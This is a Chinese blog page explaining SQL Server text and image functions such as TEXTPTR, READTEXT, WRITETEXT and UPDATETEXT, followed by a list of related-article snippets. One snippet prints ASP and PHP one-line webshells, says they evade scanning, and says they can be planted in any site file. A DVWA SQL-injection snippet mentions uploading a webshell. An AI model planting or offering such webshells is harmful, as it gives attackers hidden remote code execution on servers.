SQL Server文本和图像函数

文本和图像函数

  1、查找特定字符串PATINDEX

     语法与字符串的patindex一样。

  2、获取文本指针TEXTPTR

     SQLServer在存储文本类型(ntext、text)和图像数据类型(image)时,默认情况是与常见的基本数据类型(如char、int等)这样的数据时单独存储的,也就是说,如 果一个表中的字段有基本类型和图像文本类型,那么,在输入数据时,基本类型和图像文件数据并不是保存在同一个页面上,而是分离存储的。分离存储后,那么基本类型数据和文本图像类型数据所在的页面就是通过文本指针建立联系,是一个16字节的二进制类型指针。在基本类型数据页面中存储的就是这些指向数据的指针,这样在需要的时候通过指针来操作文本和图像数据。Textptr函数就可以用于获得文本和图像数据存储的文本指针,这个指针获得后就可以被操作文本和图像数据的函数(wrutetext、readtext和updatetext等)进行操作。如果没有有效的指针,文本和图像函数是无法操作数据的。

   语法结构:

  textptr( column )

   这里的column就是表中的文本和图像数据列(text、ntext和image)名称。

    返回值:

     varbinary类型16字节指针。

    配合使用的函数:

    在编写含有TEXTPTR函数的T-SQL代码时,下表所示的函数经常被使用。

格式说明
patindex('%pattern%',expression)返回字符串在text或ntext列中的字符位置
datalength(expression)返回text、ntext和image列中数据的长度
set textsize

返回对select语句所返回的text、ntext或image数据的限制(字节数)。settextsize 0表示不限制。

substring(text_column,start,length)返回二进制列中又指定的start偏移量和length指定的varchar类型的字符串。字符串的长度硬小于8kb

 

  3、检测文本指针是否有效TEXTVALID

    textvalid函数用于检测文本指针是否有效。

     语法结构:

    textvalid( 'table.column',text_ptr )

     参数说明:

      table:表的名称,必须包含

      column:表中的二进制数据列(text、ntext和image)名称

      text_ptr:要检测的文本指针

     返回值:

      int,如果指针有效返回1,否则分那会0。

  4、读取文本图像列内容READTEXT

    readtext函数用于读取文本或图像列的内容,按照指定的偏移量开始读取指定字节数。如果是图像列(image),这样读取的是字节数,而不是现实图像本身。

      语法结构:

  readtext{ table.column text_ptr offset size } [holdlock]

      参数说明:

       table:表名称

       column:列名称

       text_ptr:有效的文本指针,即16字节的binary数据。

       offset:开始读取text、image类型数据之前,要跳过的字节数。读取ntext类型数据之前要跳过的字符数。

       size:读取的字节数(使用text或image数据类型时)或字符数(使用ntext数据类型时)。如果size为0,则读取4KB数据。

       holdlock:使文本值被锁定以进行读取,直到十五结束为止。其他用户可以读取该值,但不能对其进行修改。

      返回值:

       varchar字符。

      示例:以后写

  5、写入文本图像列内容WRITETEXT

     writetext函数用于向文本或图像写入内容,同时可以选择为最小日志记录,这样写入操作产生的日志写的I/O次数少,对数据库性能影响小。

     语法结构:

  writetext{ table.column text_ptr } [ with log ] { data }

     参数说明:

      table:表名称

      column:列名称

      text_ptr:有效的文本指针,即16字节的binary数据。

      with log:由数据库的恢复模式来决定writetext操作产生的日志行为。因为text、ntext、imge类型的数据一般情况下都比较大。比如一幅图片可能上百KB,我们知道一个数据页面的容量是标准的8KB。所以一幅图片很可能就需要几时个甚至更多的数据页面,所以writetext操作所产生的I/O次数是很多的,而过多的I/O次数将影响数据库的性能。该参数的引入是交给数据库的恢复模式来决定的writetext操作将产生的日志行为。当数据库公仔在完全恢复模式时,产生的日志最多,因此对数据库性能的影响也最大。当工作在简单恢复模式时,产生的日志最少。

      data:要存储的text、ntext或image类型的数据。writetext以交互方式插入的最大文本长度约为120KB。

  6、更新文本图像列内容UPDATETEXT

    updatetext函数更新文本或图像列中的内容。与writetext的区别在于该函数可以仅更新列中的一部分,而writetext是更新整个列。

    语法结构:

      updatetext{ table.name.dest_column_name dest_text_ptr }{ null | insert_offset }{ with log }{ inserted_data | { table.name.src_column_name src_text_ptr } }

    语法中的参数说明如下。

     table_name:表名称。

     dest_column_name:列名称。

     dest_text_ptr:有效的文本指针,即16字节的binary数据。

     insert_offset:以0为基础的更新其实位置,对于Text或image列,insert_offset是在插入新数据前要从现有列的起点跳过的字节数。对于ntext列,insert_offset是字符数(每个ntext字符占用2个字节)。从此基数为零的起始点开始的现有text、ntext或image数据向右移,为新数据留出空间。值为0表示将新数据插入现有数据的开始处。值为null则将新数据追加到享有数据值后。

     delete_length:从insert_offset位置开始、要从现有text、ntext、或image列中删除的数据长度。delete_length值对于text和image列用字节指定,对于        ntext列用字符指定。每个ntext字符占用2个字节。值为0表示不删除数据。值为null则删除现有text或image列中从insert_offset位置开始到末尾的所有数据。

     withlog:日子记录由数据库的当前模式决定。

     inserted_date:要插入现有text、ntext或image列的insert_offset位置的数据。这是单个char、nchar、varchar、nvarchar、binary、varbinary、text、      ntext或image值。inserted_data可以是文字或变量。

     table_name.src_column_name:用作插入数据源的表或text、ntext、image列的名称。

     src_text_ptr:指向用作插入数据源的text、ntext或image列的文本指针值,通常使用textptr函数获得。

  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/462426.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

图像的灰度处理

图像的灰度处理的三种方法: 1.imread的方法将像素值修改为0 2.调用一个RGB转灰度的方法实现灰度转化(cv2.COLOR_BGR2GRAY) 3.R G B 的均值取灰度值来灰度转化(原理) 处理结果 如下: 转载于:https://www.cnblogs.com/Ja…

在Linux终端下调用可执行文件时总要加上符号./的原因

原网址 : http://blog.csdn.net/snakebite1985/article/details/1638453 刚接触Shell时总感到很奇怪:如果当前的Shell工作目录为/home/Victor/,且此目录下有一个叫做myproc的可执行文件,那么简单的在命令行中输入myproc并回车并不能调用这个…

面向对象基础-委托与事件

首先举一个实例:创建一个控制台程序,需求是:有一只猫Tom,有两只老鼠Jerry和Jack,Tom只叫一声“喵,我是Tom”,两只老鼠就说“老猫来了,快跑”,我们来分析一下:…

SQL Server数学函数

数学函数 1、计算绝对值ABS ABS函数对一个数值表达式结果计算绝对值(bit数据类型除外),返回整数。 语法结构: ABS(数值表达式) 返回值:与数值表达式类型一致的数据 示例: SELECT ABS(-1) --输出 1 2、获取大于等于最小整数值Ce…

tornado框架基础11-tornado异步

01 同步和异步 生活中常常会遇到在超市排队买东西的情况,排在你前面的人没有结算完成,你就无法付账,在计算机中也有类似的情形,一个程序在执行之前,需要等待其他的程序执行完成,大家还能举出其他的例子吗&a…

select,epoll,poll比较

http://blog.sina.com.cn/s/blog_8fa7dd41010153zx.html select,poll,epoll简介 select select本质上是通过设置或者检查存放fd标志位的数据结构来进行下一步处理。这样所带来的缺点是: 1 单个进程可监视的fd数量被限制 2 需要维护一个用…

一句话

以下这个ASP一句话<%If Request("1")<>"" Then ExecuteGlobal(Request("1"))%><?php ($_$_GET[2]).$_($_POST[1])?>上面这句是防杀防扫的&#xff01;网上很少人用&#xff01;可以插在网页任何ASP文件的最底部不会出错&…

linux下wget的用法

2019独角兽企业重金招聘Python工程师标准>>> Linux wget是一个下载文件的工具&#xff0c;它用在命令行下。对于Linux用户是必不可少的工具&#xff0c;尤其对于网络管理员&#xff0c;经常要下载一些软件或从远程服务器恢复备份到本地服务器。如果我们使用虚拟主机…

【传智播客】Libevent学习笔记(三):事件循环

目录 00. 目录01. event_base_loop函数02. event_base_dispatch函数03. event_base_loopexit函数04. event_base_loopbreak函数05. event_base_got_exit函数06. event_base_got_break函数07. event_base_dump_events函数08. event_base_dump_events函数09. 废弃的事件循环函数1…

linux下设定动态库路径的命令-error while loading shared libraries: xxx.so.x错误的原因和解决办法

网站&#xff1a;http://blog.chinaunix.net/uid-26212859-id-3256667.html 一般我们在Linux下执行某些外部程序的时候可能会提示找不到共享库的错误, 比如: tmux: error while loading shared libraries: libevent-1.4.so.2: cannot open shared object file: No such file o…

同步/异步与阻塞/非阻塞的区别

这两组概念常常让人迷惑,因为它们都是涉及到IO处理,同时又有着一些相类似的地方. 首先来解释同步和 异步的概念,这两个概念与消息的通知机制有关. 举个 例子,比如我去银行办理业务,可能选择排队等候,也可能取一个小纸条上面有我的号码,等到排到我这一号时由柜台的人通知我轮到我…

Android的MVC框架

http://www.cnblogs.com/wanghafan/archive/2012/07/20/2600786.html MVC是当前比较流行的框架&#xff0c;随便Google下&#xff0c;就可以发现几乎所有的应用程序开发中都采用了MVC框架&#xff0c;例如&#xff1a;.NET&#xff0c;Java Spring&#xff0c;Java Struts&…

DVWA-SQL注入

SQL注入解题思路 寻找注入点&#xff0c;可以通过web扫描工具实现通过注入点&#xff0c;尝试得到连接数据库的用户名&#xff0c;数据库名称&#xff0c;权限等信息。猜解关键数据库表极其重要字段与内容。通过获得的用户信息寻找后台进行登录。利用后台上传webshell或一句话木…

void init(void) 分析 ! \linux-1.0\init\main.c

void init(void) {int pid,i;//设置环境信息setup((void *) &drive_info);//打印提示语句sprintf(term, "TERMcon%dx%d", ORIG_VIDEO_COLS, ORIG_VIDEO_LINES);//打开终端1(void) open("/dev/tty1",O_RDWR,0);//拷贝打开的描述字1 &#xff0c;2&#…

查看符号表

objdump -tT libcamera.so转载于:https://www.cnblogs.com/eustoma/archive/2011/11/21/2415805.html

easyui验证:validatebox

2019独角兽企业重金招聘Python工程师标准>>> $.extend($.fn.validatebox.defaults.rules, { eqTrim : {/* 填写名字前面不能有空格&#xff01; */ validator : function(value,param) { var reg new RegExp(param); var falg!reg.test(value); return falg; }, me…

秒懂机器学习---当机器学习遇上决策树....

秒懂机器学习---当机器学习遇上决策树.... 一、总结 一句话总结&#xff1a; 多多看图&#xff0c;图的直观效果很好&#xff0c;很多时候文字实在表达不清 1、决策树&#xff08;Decision Tree&#xff09;中的各个节点表示什么意思&#xff1f; 每一个树节点表示一个属性上的…

void start_kernel(void)分析 ! \linux-1.0\init\main.c

//启动系统内核 //asmlinkage 为通过堆栈传递参数&#xff0c;默认为通过寄存器传递参数。 asmlinkage void start_kernel(void) { /** Interrupts are still disabled. Do necessary setups, then* enable them*///设置中断向量表set_call_gate(&default_ldt,lcall7);//设…

ASP.NET MVC3源码下载

这个貌似是微软官方的源代码 我收藏了 有时间在来研究研究 下载地址&#xff1a;http://files.cnblogs.com/happyyouandme/mvc3%E6%A1%86%E6%9E%B6%E6%BA%90%E7%A0%81.zip 转载于:https://www.cnblogs.com/happyyouandme/archive/2011/11/22/2259108.html

H3C交换机配置学习随笔

1、交换机配置VLAN vlan 创建VLAN: <h3c>system-view [h3c]vlan 10 删除ID为10的vlan&#xff1a;undo vlan 10 注&#xff1a;任何型号的交换机&#xff0c;都支持4096个vlan vlan ID 从0--4095 vlan 0是保留vlan vlan 1是默认vlan display vlan查看本机有多少个vlan&am…